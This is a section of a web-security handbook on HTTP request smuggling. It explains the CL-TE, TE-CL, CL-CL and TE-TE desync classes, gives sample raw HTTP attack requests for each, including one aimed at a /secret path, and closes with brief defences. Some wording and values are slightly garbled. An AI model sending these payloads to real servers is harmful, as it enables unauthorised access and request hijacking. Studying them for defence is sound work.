4.17. HTTP Request Smuggling

4.17.1. Introduction

HTTP request smuggling is a technique that interferes with the way a website handles a sequence of HTTP requests, first proposed in a 2005 article .

4.17.2. Causes

Request smuggling mostly occurs when the front-end server and the back-end server have inconsistent understanding of the incoming data from the client. This is because the HTTP specification provides two different ways to specify where a request ends,that is Content-Length and Transfer-Encoding headers.

4.17.3. Classification

  • CLTE:frontend servers use Content-Length headers , backend servers use Transfer-Encoding header

  • TECL:frontend servers use``Transfer-Encoding`` header, and backend servers use Content-Length header

  • TETE:Both frontend and backend support Transfer-Encoding header,but one of the servers can be induced to not handle it in some way.

4.17.4. Attacks

4.17.4.1. GET requests with CL not 0

When the front-end server allows the GET request to carry the request body, but the back-end server does not allow the GET request to carry the request body, it directly ignores the Content-Length header and does not process it. For example the following example:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

The front-end server has processed Content-Length, but the back-end server has not processed Content-Length. Based on the pipeline mechanism, it is considered that these are two independent requests, which causes the vulnerability to occur.

4.17.4.2. CL-CL

According to RFC 7230, when the server receives two requests with Content-Length different values, it needs to return a 400 error, but some servers do not strictly implement this specification. In this case, a vulnerability occurs when the current backend takes different Content-Length values . E.g:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

In this example a will be brought into the next request, becoming aGET / HTTP/1.1\r\n

4.17.4.3. CL-TE

CL-TE means that the front-end server processes Content-Length this request header, and the back-end server complies with the provisions of RFC2616, ignores Content-Length, and processes Transfer-Encoding. E.g:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

In this example a will also be brought into the next request, becoming aGET / HTTP/1.1\r\n

4.17.4.4. TE-CL

TE-TE-CL means that front-end servers process Transfer-Encoding request headers, while back-end servers process Content-Length request headers.E.g:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

4.17.4.5. TE-TE

TE-TE means that both the front-end and back-end servers process the Transfer-Encoding request header, but the performance is different in fault tolerance. For example, some servers may process Transfer-encoding. The test is for example:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

4.17.5. Defense

  • Disable backend connection reuse

  • Make sure all servers in the connection have the same configuration

  • Deny ambiguous requests